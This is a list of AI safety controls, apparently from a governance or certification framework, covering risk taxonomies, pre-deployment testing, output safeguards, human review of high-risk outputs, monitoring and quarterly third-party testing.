C. Safety

Define AI risk taxonomy

Establish a risk taxonomy based on system capabilities and deployment context

Conduct pre-deployment testing

Conduct internal testing of AI systems prior to deployment across risk categories for system changes requiring formal review or approval

Prevent harmful outputs

Implement safeguards or technical controls to prevent harmful outputs including distressed outputs, angry responses, high-risk advice, offensive content, bias, and deception

Prevent out-of-scope outputs

Implement safeguards or technical controls to prevent out-of-scope outputs (e.g. political discussion, healthcare advice)

Prevent agent-specific high risk outputs

Implement safeguards or technical controls to prevent agent-specific high-risk outputs as defined in risk taxonomy

Prevent output vulnerabilities

Implement safeguards to prevent security vulnerabilities in outputs from impacting users

Flag high risk outputs for human review

Implement an alerting system that flags high-risk outputs for human review

Monitor AI risk categories

Implement monitoring of AI systems across risk categories

Enable real-time feedback and intervention

Implement mechanisms to enable real-time user feedback collection, intervention and actioning mechanisms

Third-party testing for harmful outputs

Appoint expert third parties to evaluate system robustness to harmful outputs including distressed outputs, angry responses, high-risk advice, offensive content, bias, and deception at least every 3 months

Third-party testing for out-of-scope outputs

Appoint expert third parties to evaluate system robustness to out-of-scope outputs at least every 3 months (e.g. political discussion, healthcare advice)

Third-party testing for customer-defined risk

Appoint expert third-parties to evaluate system robustness to additional high-risk outputs as defined in risk taxonomy at least every 3 months